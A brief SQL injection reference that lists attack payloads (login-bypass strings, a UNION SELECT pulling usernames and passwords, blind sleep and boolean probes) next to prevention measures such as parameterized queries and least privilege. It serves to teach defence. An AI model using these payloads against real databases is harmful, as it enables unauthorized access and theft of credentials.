SQL Injection Reference

Common Attack Patterns

-- Classic bypass
' OR '1'='1
admin'--
' OR 1=1--

-- UNION-based
' UNION SELECT username,password FROM users--

-- Blind injection
' AND SLEEP(5)--
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)--

Prevention

Parameterized Queriesdb.Query("SELECT * FROM users WHERE id=?", id)
ORM UsageUser.objects.filter(id=user_id)
Input ValidationValidate type, length, format before query
Least PrivilegeDB user should have minimal permissions
WAFWeb Application Firewall to filter malicious queries